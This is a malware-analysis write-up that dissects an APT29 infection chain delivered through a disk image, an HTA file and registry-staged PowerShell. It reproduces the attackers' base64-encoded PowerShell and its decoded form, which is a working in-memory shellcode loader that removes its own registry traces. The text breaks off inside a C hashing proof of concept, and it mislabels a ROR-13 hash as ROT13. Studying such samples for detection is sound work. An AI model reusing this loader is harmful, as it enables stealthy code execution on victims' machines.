# Analyzing APT 29 (NOBELIUM aka Cozy-Bear) – Part 1

## By [Mohamed Talaat Mahmoud Emam](https://www.linkedin.com/in/mohamed-talaat-049349198/) (Guest Author) <a href="#background-and-motive" id="background-and-motive"></a>

*To follow along with this analysis, you can find the sample at your favorite malware site with a SHA256 hash: 6ad9458d9b42b010846a23d3defc7d770ad91ce5f720581c27ab96aa95edef4b.*

*This is a live sample that is found in the wild, please be careful and only unzip the above files in a closed environment.*

## Background  <a href="#background-and-motive" id="background-and-motive"></a>

I came across a[ highly intriguing incident](https://blog.sekoia.io/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/) involving the deliberate targeting of embassies by an Advanced Persistent Threat (APT). APTs are typically considered state-sponsored due to their extensive resources and ability to leverage new techniques. The incident is related to the notorious [APT29 NOBELIUM group, also known as CozyBear](https://attack.mitre.org/groups/G0016/). After reading a collection of publicly available blogs, I felt that the research on APT29 was missing detailed information.  I took it upon myself to conduct additional research into the individual components of the sample and identify additional indicators of compromise. My goal is to provide an in-depth analysis on each component of the attack chain and help identify IOCs for future detection builds. I look forward to bringing you along on this journey!

### What is APT29 ?

**NOBELIUM or APT29** is thought to be linked to the SVR(the Foreign Intelligence Service of the Russian Federation) as investigators reported, also it was reported that **APT29** has a very long history of attacking and targeting governmental organizations, non-governmental organizations, and many others. Some of their notable hacks include the [SolarWinds Supply Chain Attack](https://attack.mitre.org/campaigns/C0024/) and [Operation Ghost](https://attack.mitre.org/campaigns/C0023/). APT29 is known for using new exploits and unique malware for each campaign which makes them interesting to study.

<figure><img src="/files/3Wvr2U6ru7PS9mylJneg" alt=""><figcaption><p>AI Representation of APT29</p></figcaption></figure>

### What is HTML smuggling? <a href="#what-is-html-smuggling" id="what-is-html-smuggling"></a>

Microsoft Threat Intelligence Center **(MSTIC)** has disclosed a new evasive malware delivery technique that leverages HTML5 and JS. This technique is described as **HTML smuggling**.

HTML Smuggling gets its name from the fact that the malware developers choose to smuggle or obfuscate malicious JavaScript based code within an HTML email attachment. The attackers then deliver their malware in a very targeted **spear-phishing attack**.

To read more about the HTML Smuggling attack and the most common incidents reported using the HTML smuggling technique to kick off their malware **infection chain**, you can look at this very nice blog at [**MalwareBytes**](https://www.malwarebytes.com/blog/news/2021/11/evasive-maneuvers-html-smuggling-explained) which details this technique and the best security practices to mitigate HTML Smuggling attacks within your environment.

## Technical In-Depth Analysis of the Infection Chain <a href="#technical-in-depth-analysis-of-the-infection-chain" id="technical-in-depth-analysis-of-the-infection-chain"></a>

The infection chain starts with a weaponized disk image file (covid.iso), that embeds a malicious HTML application file (**HTA**). The HTA contains malicious **JS** code, which we'll look at later. The disk image is typically delivered via a spear-phishing campaign as an attachment.

### Initial infection: Malicious HTA <a href="#initial-infection-malicious-hta" id="initial-infection-malicious-hta"></a>

Upon mounting the attached ISO disk image, it drops an HTA file named **"Covid.HTA"**, which when executed, malicious JS code embedded within will be executed.

<figure><img src="/files/YAKcUhhVWC9NNr4B4Qlw" alt=""><figcaption></figcaption></figure>

We first notice that the program creates a WSH (Windows Script Host) object called "Wscript. Shell", which allows you to execute and run commands, run programs, and manipulate the system registry hive. We can see that the program is using this object to write two entries of type "REG\_SZ" to the registry key "HKEY\_CURRENT\_USER\SOFTWARE\JavaSoft". One of these entries is just a simple powershell loader, that will load the encoded shellcode written to the other registry entry to set up for the next stage in the infection chain.

Moving forward we see that it gets the contents of a hidden HTML element with the ID " **P1** " this is just a script of **base64** encoded Unicode text which is written to "HKEY\_CURRENT\_USER\SOFTWARE\JavaSoft\Ver".

```
res = document.getElementById("p1").innerHTML;
a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver", res, "REG_SZ");
```

This is the untranslated version of the above described base64 code.

{% code overflow="wrap" %}

```markup
<div id="p1" style="visibility: hidden;">[SySTeM.TExt.EnCodIng]::UNiCOdE.gEtSTRINg([SySteM.cONVERT]::fRomBAse64STrINg('UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgA7AFsAQgB5AHQAZQBbAF0AXQAkAHYAYQByAF8AYwBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMATwBGAFQAVwBBAFIARQBcAFwASgBhAHYAYQBTAG8AZgB0ACkALgBWAGUAcgAyACkAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAEoAYQB2AGEAUwBvAGYAdAAgAC0ATgBhAG0AZQAgAFYAZQByACAALQBGAG8AcgBjAGUAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAEoAYQB2AGEAUwBvAGYAdAAgAC0ATgBhAG0AZQAgAFYAZQByADIAIAAtAEYAbwByAGMAZQA7ACQAUwB5AHMAdABlAG0AQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEcAZQB0AEEAcwBzAGUAbQBiAGwAaQBlAHMAKAApACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAATABvAGMAYQB0AGkAbwBuACAALQBDAEwAaQBrAGUAIAAnACoAUwB5AHMAdABlAG0ALgBkAGwAbAAnADsAJABVAG4AcwBhAGYAZQBOAGEAdABpAHYAZQBNAGUAdABoAG8AZABzACAAPQAgACQAUwB5AHMAdABlAG0AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcATQBpAGMAJwArACcAcgBvAHMAbwBmAHQALgBXACcAKwAnAGkAbgAzADIALgBVAG4AcwBhAGYAZQBOAGEAdABpACcAKwAnAHYAZQBNAGUAdABoAG8AZABzACcAKQA7ACQARwBlAHQATQBvAGQAdQBsAGUASABhAG4AZABsAGUAIAA9ACAAJABVAG4AcwBhAGYAZQBOAGEAdABpAHYAZQBNAGUAdABoAG8AZABzAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAEcAZQAnACsAJwB0AE0AbwAnACsAJwBkAHUAbAAnACsAJwBlAEgAYQBuAGQAbABlACcAKQA7ACQAdgA9ACcAVgBpACcAKwAnAHIAdAAnACsAJwB1AGEAbAAnACsAJwBBAGwAJwArACcAbABvAGMAJwA7ACQARwBlAHQAUAByAG8AYwBBAGQAZAByAGUAcwBzACAAPQAgACQAVQBuAHMAYQBmAGUATgBhAHQAaQB2AGUATQBlAHQAaABvAGQAcwAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBHAGUAJwArACcAdABQAHIAbwAnACsAJwBjAEEAZABkACcAKwAnAHIAZQBzAHMAJwAsAFsAVAB5AHAAZQBbAF0AXQBAACgAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEgAYQBuAGQAbABlAFIAZQBmAF0ALABbAFMAdAByAGkAbgBnAF0AKQApADsAJABLAGUAcgBuADMAMgBIAGEAbgBkAGwAZQAgAD0AIAAkAEcAZQB0AE0AbwBkAHUAbABlAEgAYQBuAGQAbABlAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnAGsAZQAnACsAJwByAG4AZQAnACsAJwBsADMAMgAuAGQAbABsACcAKQApADsAJAB0AG0AcABQAHQAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBuAHQAUAB0AHIAOwAkAEgAYQBuAGQAbABlAFIAZQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEgAYQBuAGQAbABlAFIAZQBmACgAJAB0AG0AcABQAHQAcgAsACAAJABLAGUAcgBuADMAMgBIAGEAbgBkAGwAZQApADsAJABBAGQAcgBlAHMAcwBBAGwAbABvAGMAIAA9ACAAIAAkAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABAACgAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEgAYQBuAGQAbABlAFIAZQBmAF0AJABIAGEAbgBkAGwAZQBSAGUAZgAsACAAJAB2ACkAKQA7ACQARABvAG0AYQBpAG4AIAA9ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuADsAJABEAHkAbgBBAHMAcwBlAG0AYgBsAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBSAGUAJwArACcAZgBsAGUAYwAnACsAJwB0AGUAZABEAGUAJwArACcAbABlAGcAYQB0AGUAJwApADsAJABBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAEQAeQBuAEEAcwBzAGUAbQBiAGwAeQAsACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBFAG0AaQB0AC4AQQBzAHMAZQBtAGIAbAB5AEIAdQBpAGwAZABlAHIAQQBjAGMAZQBzAHMAXQA6ADoAUgB1AG4AKQA7ACQATQBvAGQAdQBsAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEEAcwBzAGUAbQBiAGwAeQBCAHUAaQBsAGQAZQByAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBNAG8AZAB1AGwAZQAoACcASQBuAE0AJwArACcAZQBtAG8AcgAnACsAJwB5AE0AbwBkAHUAbABlACcALAAgACQAZgBhAGwAcwBlACkAOwAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAE0AbwBkAHUAbABlAEIAdQBpAGwAZABlAHIALgBEAGUAZgBpAG4AZQBUAHkAcABlACgAJwBNAHkARAAnACsAJwBlAGwAZQBnACcAKwAnAGEAdABlAFQAeQBwAGUAJwAsACAAJwBDAGwAYQBzAHMALAAgAFAAdQBiAGwAaQBjACwAIABTAGUAYQBsAGUAZAAsACAAQQBuAHMAaQBDAGwAYQBzAHMALAAgAEEAdQB0AG8AQwBsAGEAcwBzACcALAAgAFsAUwB5AHMAdABlAG0ALgBNAHUAbAB0AGkAYwBhAHMAdABEAGUAbABlAGcAYQB0AGUAXQApADsAJABDAG8AbgBzAHQAcgB1AGMAdABvAHIAQgB1AGkAbABkAGUAcgAgAD0AIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEQAZQBmAGkAbgBlAEMAbwBuAHMAdAByAHUAYwB0AG8AcgAoACcAUgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkACwAIABAACgAWwBJAG4AdABQAHQAcgBdACwAIABbAFUASQBuAHQAMwAyAF0ALAAgAFsAVQBJAG4AdAAzADIAXQAsACAAWwBVAEkAbgB0ADMAMgBdACkAIAApADsAJABDAG8AbgBzAHQAcgB1AGMAdABvAHIAQgB1AGkAbABkAGUAcgAuAFMAZQB0AEkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgBGAGwAYQBnAHMAKAAnAFIAdQBuAHQAaQBtAGUALAAgAE0AYQBuAGEAZwBlAGQAJwApADsAJABNAGUAdABoAG8AZABCAHUAaQBsAGQAZQByACAAPQAgACQAVAB5AHAAZQBCAHUAaQBsAGQAZQByAC4ARABlAGYAaQBuAGUATQBlAHQAaABvAGQAKAAnAEkAbgB2ACcAKwAnAG8AawBlACcALAAgACcAUAB1AGIAbABpAGMALAAgAEgAaQBkAGUAQgB5AFMAaQBnACwAIABOAGUAdwBTAGwAbwB0ACwAIABWAGkAcgB0AHUAYQBsACcALAAgACgAWwBJAG4AdABQAHQAcgBdACkALAAgAEAAKABbAEkAbgB0AFAAdAByAF0ALAAgAFsAVQBJAG4AdAAzADIAXQAsACAAWwBVAEkAbgB0ADMAMgBdACwAIABbAFUASQBuAHQAMwAyAF0AKQApADsAJABNAGUAdABoAG8AZABCAHUAaQBsAGQAZQByAC4AUwBlAHQASQBtAHAAbABlAG0AZQBuAHQAYQB0AGkAbwBuAEYAbABhAGcAcwAoACcAUgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAAnACkAOwAkAEEAbABsAG8AYwBEAGUAbABlAGcAYQB0AGUAIAA9ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEMAcgBlAGEAdABlAFQAeQBwAGUAKAApADsAJAB2AGEAcgBfAHYAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBHAGUAdABEAGUAbABlAGcAYQB0AGUARgBvAHIARgB1AG4AYwB0AGkAbwBuAFAAbwBpAG4AdABlAHIAKAAkAEEAZAByAGUAcwBzAEEAbABsAG8AYwAsACQAQQBsAGwAbwBjAEQAZQBsAGUAZwBhAHQAZQApADsAJAB2AGEAcgBfAGIAdQBmAGYAZQByACAAPQAgACQAdgBhAHIAXwB2AGEALgBJAG4AdgBvAGsAZQAoAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwAsACQAdgBhAHIAXwBjAG8AZABlAC4AbABlAG4AZwB0AGgALAAgADAAeAAzADAAMAAwACwAMAB4ADQAMAApADsAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAQwBvAHAAeQAoACQAdgBhAHIAXwBjAG8AZABlACwAMAAsACQAdgBhAHIAXwBiAHUAZgBmAGUAcgAsACQAdgBhAHIAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAKQA7ACQARABvAG0AYQBpAG4AIAA9ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuADsAJABEAHkAbgBBAHMAcwBlAG0AYgBsAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBSAGUAZgBsACcAKwAnAGUAYwB0AGUAZABEACcAKwAnAGUAbABlACcAKwAnAGcAYQB0AGUAJwApADsAJABBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAEQAeQBuAEEAcwBzAGUAbQBiAGwAeQAsACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBFAG0AaQB0AC4AQQBzAHMAZQBtAGIAbAB5AEIAdQBpAGwAZABlAHIAQQBjAGMAZQBzAHMAXQA6ADoAUgB1AG4AKQA7ACQATQBvAGQAdQBsAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEEAcwBzAGUAbQBiAGwAeQBCAHUAaQBsAGQthat itAZQByAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBNAG8AZAB1AGwAZQAoACcASQBuAE0AZQBtACcAKwAnAG8AcgB5AE0AbwBkAHUAbABlACcALAAgACQAZgBhAGwAcwBlACkAOwAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAE0AbwBkAHUAbABlAEIAdQBpAGwAZABlAHIALgBEAGUAZgBpAG4AZQBUAHkAcABlACgAJwBNAHkARABlACcAKwAnAGwAZQBnAGEAJwArACcAdABlAFQAeQBwAGUAJwAsACAAJwBDAGwAYQBzAHMALAAgAFAAdQBiAGwAaQBjACwAIABTAGUAYQBsAGUAZAAsACAAQQBuAHMAaQBDAGwAYQBzAHMALAAgAEEAdQB0AG8AQwBsAGEAcwBzACcALAAgAFsAUwB5AHMAdABlAG0ALgBNAHUAbAB0AGkAYwBhAHMAdABEAGUAbABlAGcAYQB0AGUAXQApADsAJABDAG8AbgBzAHQAcgB1AGMAdABvAHIAQgB1AGkAbABkAGUAcgAgAD0AIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEQAZQBmAGkAbgBlAEMAbwBuAHMAdAByAHUAYwB0AG8AcgAoACcAUgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkACwAQAAoAFsASQBuAHQAUAB0AHIAXQApACAAKQA7ACQAQwBvAG4AcwB0AHIAdQBjAHQAbwByAEIAdQBpAGwAZABlAHIALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAJwBSAHUAbgB0AGkAbQBlACwAIABNAGEAbgBhAGcAZQBkACcAKQA7ACQATQBlAHQAaABvAGQAQgB1AGkAbABkAGUAcgAgAD0AIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEQAZQBmAGkAbgBlAE0AZQB0AGgAbwBkACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACwAIAAnAFAAdQBiAGwAaQBjACwAIABIAGkAZABlAEIAeQBTAGkAZwAsACAATgBlAHcAUwBsAG8AdAAsACAAVgBpAHIAdAB1AGEAbAAnACwAIAAoAFsAVgBvAGkAZABdACkALAAgAEAAKABbAEkAbgB0AFAAdAByAF0AKQApADsAJABNAGUAdABoAG8AZABCAHUAaQBsAGQAZQByAC4AUwBlAHQASQBtAHAAbABlAG0AZQBuAHQAYQB0AGkAbwBuAEYAbABhAGcAcwAoACcAUgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAAnACkAOwAkAEEAbABsAG8AYwBEAGUAbABlAGcAYQB0AGUAMgAgAD0AIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACQAVAB5AHAAZQBCAHUAaQBsAGQAZQByAC4AQwByAGUAYQB0AGUAVAB5AHAAZQAoACkAOwAkAHYAYQByAF8AcgB1AG4AbQBlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEcAZQB0AEQAZQBsAGUAZwBhAHQAZQBGAG8AcgBGAHUAbgBjAHQAaQBvAG4AUABvAGkAbgB0AGUAcgAoACQAdgBhAHIAXwBiAHUAZgBmAGUAcgAsACQAQQBsAGwAbwBjAEQAZQBsAGUAZwBhAHQAZQAyACkAOwAkAHYAYQByAF8AcgB1AG4AbQBlAC4ASQBuAHYAbwBrAGUAKABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8AKQA='))|iex</div>
```

{% endcode %}

Now Using the following **CyberChef** recipe, we decode this back to the following **powershell**.

<figure><img src="/files/47s2TF2D3Z7mIsXyOAQF" alt=""><figcaption></figcaption></figure>

Notice that to deobfuscate the code, you have to decode both base64 and UTF-16LE to receive the following information.&#x20;

{% code overflow="wrap" %}

```
Set-StrictMode -Version 2;[Byte[]]$var_code = [System.Convert]::FromBase64String((gp HKCU:\\SOFTWARE\\JavaSoft).Ver2);Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver -Force;Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver2 -Force;$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -CLike '*System.dll';$UnsafeNativeMethods = $SystemAssembly.GetType('Mic'+'rosoft.W'+'in32.UnsafeNati'+'veMethods');$GetModuleHandle = $UnsafeNativeMethods.GetMethod('Ge'+'tMo'+'dul'+'eHandle');$v='Vi'+'rt'+'ual'+'Al'+'loc';$GetProcAddress = $UnsafeNativeMethods.GetMethod('Ge'+'tPro'+'cAdd'+'ress',[Type[]]@([System.Runtime.InteropServices.HandleRef],[String]));$Kern32Handle = $GetModuleHandle.Invoke($null, @('ke'+'rne'+'l32.dll'));$tmpPtr = New-Object IntPtr;$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle);$AdressAlloc =  $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $v));$Domain = [AppDomain]::CurrentDomain;$DynAssembly = New-Object System.Reflection.AssemblyName('Re'+'flec'+'tedDe'+'legate');$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InM'+'emor'+'yModule', $false);$TypeBuilder = $ModuleBuilder.DefineType('MyD'+'eleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([IntPtr], [UInt32], [UInt32], [UInt32]) );$ConstructorBuilder.SetImplementationFlags('Runtime, Managed');$MethodBuilder = $TypeBuilder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', ([IntPtr]), @([IntPtr], [UInt32], [UInt32], [UInt32]));$MethodBuilder.SetImplementationFlags('Runtime, Managed');$AllocDelegate = Write-Output $TypeBuilder.CreateType();$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdressAlloc,$AllocDelegate);$var_buffer = $var_va.Invoke([IntPtr]::Zero,$var_code.length, 0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($var_code,0,$var_buffer,$var_code.Length);$Domain = [AppDomain]::CurrentDomain;$DynAssembly = New-Object System.Reflection.AssemblyName('Refl'+'ectedD'+'ele'+'gate');$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMem'+'oryModule', $false);$TypeBuilder = $ModuleBuilder.DefineType('MyDe'+'lega'+'teType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,@([IntPtr]) );$ConstructorBuilder.SetImplementationFlags('Runtime, Managed');$MethodBuilder = $TypeBuilder.DefineMethod('In'+'voke', 'Public, HideBySig, NewSlot, Virtual', ([Void]), @([IntPtr]));$MethodBuilder.SetImplementationFlags('Runtime, Managed');$AllocDelegate2 = Write-Output $TypeBuilder.CreateType();$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer,$AllocDelegate2);$var_runme.Invoke([IntPtr]::Zero)
```

{% endcode %}

{% code overflow="wrap" %}

```
res = document.getElementById("p2").innerHTML;
a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver2", res, "REG_SZ");
```

{% endcode %}

As we continue to analyze the sample, we can see that the same thing happens for the other hidden element with the ID **"P2"**. It gets the contents of the element and then writes it to **HKEY\_CURRENT\_USER\SOFTWARE\JavaSoft\Ver2**.

As we'll see later this is just an encoded **shellcode** program that will prep for the next stage of the malware infection chain.

Lastly, it builds and executes the following command to execute and load the **shellcode** written to **Ver2** through the PowerShell loader written to **Ver**.

```
PowerShell -C Invoke-Expression (gp HKCU:\\SOFTWARE\\JavaSoft).Ver
```

### Powershell Loader <a href="#powershell-loader" id="powershell-loader"></a>

With a little bit of text formatting and spacing, we are able to properly see that the decoded **PowerShell** just allocates virtual memory and writes the decoded shellcode into then execution is passed on to it.

Another thing note is that at the very beginning after program decodes the shellcode, it removes the registry entries containing both the **shellcode** and the PowerShell loader. I believe this is an anti forensics procedure as the program leaves no system artifacts behind for investigation.

{% code overflow="wrap" %}

```
[Byte[]]$var_code = [System.Convert]::FromBase64String((gp HKCU:\\SOFTWARE\\JavaSoft).Ver2);
Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver -Force;
Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver2 -Force;
```

{% endcode %}

## Slight detour: Shellcode Analysis and LOLbins <a href="#shellcode-analysis-and-lolbins" id="shellcode-analysis-and-lolbins"></a>

### **LOLbins**

Before we get into the details of the decoded shellcode and how it's used to stage up for the next stage of the infection chain, it is worth noting the technique leveraged to execute in-memory malicious code(Memory-Only Malware) without it touching disk using native system tools which is our case **PowerShell** is referred to as **LOLbin**.

**Living off the Land binaries (LOLbins)** have the advantage of leaving very minimal system artifacts/indicators of compromise (IOCs) behind for investigation due to the program being executed in memory without touching the disk.

### **Shellcode Analysis**

As I mentioned before, the PowerShell loader written to the registry serves the sole purpose of loading in memory shellcode that will stage the next phase of the malware infection chain.

With this in mind let's go ahead and pick it up from there and dive into the Shellcode itself.

I used base64 to decode the shellcode written to the registry, the same way we did before using **CyberChef**, then saved it to a file to later examine in IDA.&#x20;

Initially, when you open up the shellcode file in IDA, you're confronted with a message that the program doesn't recognize the shellcode as a valid PE file, or rather, as one of the executable file formats that IDA supports, and it just, therefore, leaves you with the only option of interpreting that file as RAW binary.

<figure><img src="/files/ey7WDqGxNKH8Cv4yncqJ" alt=""><figcaption></figcaption></figure>

Instantly when we let IDA do its magic and disassemble the file, we see a call to an interesting function that takes five arguments (sub\_31).

<figure><img src="/files/d9KHYoAIv9E2MXFJ3wVI" alt=""><figcaption></figcaption></figure>

To demystify what those arguments are and what function does, let's peek into that function.

At the very start of the function, we see the usual **shellcode** stack string builds. \
\
\&#xNAN;*In case you don't know what that is and that's your first time seeing it, stack string is a common shellcode string obfuscation mechanism thereby malware strings can be built as needed on the go at runtime instead of just hard coding them in. Fortunately, IDA does a pretty good job at building those up and representing them nicely in the decompiler output.*

<figure><img src="/files/FL8TV4gdGr0uwi2EhGlQ" alt=""><figcaption></figcaption></figure>

As we analyze the decompiled code, we notice a function named **sub\_B11**, that takes a large hex constant.

**This as a function that dynamically resolves function addresses by hash.**

Yet another common malware obfuscation technique that tends to complicate the analysis process is **dynamic API resolution**, where functions are not resolved at load time but rather at runtime, and this is just so to hide identifiable function names from the Import Address Table (IAT).

Now let's take a look at that function, at the very start of the function we see a reference to the **FS:0x30** register access, **FS** is not a dedicated purpose register but rather one of the segment registers that gets its purpose from the OS, in our case it points to a thread data structure which is the **TIB**.

<figure><img src="/files/WpZDg7A5IBl0Jj8fRHiL" alt=""><figcaption></figcaption></figure>

I am not going too much into the details as you can find tons of other resources that already explain the use of the FS register, and how it's leveraged to access key system structures very well. The resources on the internet describe how the FS register is used to access key structs such as TIB , PEB , which store current process of thread information which is needed by malware for a variety of reasons including identify that it's being debugged , walk list of loaded modules and other

The main thing to understand here is it's getting the address of another data structure which is called the process environment block (**PEB**), which holds user-mode accessible information about the currently running process including the list of loaded modules, process startup arguments, and others.

Having obtained the **PEB** pointer, the program walks the list of loaded modules, hashes the names, and then breaks on the first module with non-zero exports. It turns out that **NTDLL.DLL** is the first DLL to be loaded right after the executable image, therefore it ends up having a base pointer to NTDLL.DLL.

You might be asking, "Why is the program checking for the number of exported entries?" \
\
My thinking is it's looking for the hash of the first DLL loaded, as only DLLs are supposed to expose functions to be imported by executable images.

The hashing algorithm used to generate hashes for module names is as simple as the standard **ROT13** cipher with the letters converted to uppercase.

<figure><img src="/files/Zk1tEPZnlKsOmqDG5WgZ" alt=""><figcaption></figcaption></figure>

Below is a PoC for the hashing algorithm, that calculates the hash for **ntdll.dll**.

{% code overflow="wrap" %}

```
#include <stdio.h>
#include <wchar.h>
#include <string.h>
#include <stdint.h>

#define ROR32(value, bits) ((value >> bits) | (value << (32 - bits)))

int calc_dll_hash(const wchar_t* name)
{
    uint32_t running_hash = 0;
    size_t length = (wcslen(name) +1 )* 2;
    uint32_t rot = 0;
    char c;

    for (size_t i = 0; i < length; ++i)
    {
        rot = ROR32(running_hash, 13); // ROT13
         c =*(char*)((char*)name + i);

        if (c < 0x61)
            running_hash = c + rot;
        else
            running_hash = c - 0x20 + rot;
    }

    return running_hash;
}


int main(int argc , char** argv[])
{

        int hash = calc_dll_hash(L"ntdll.dll");
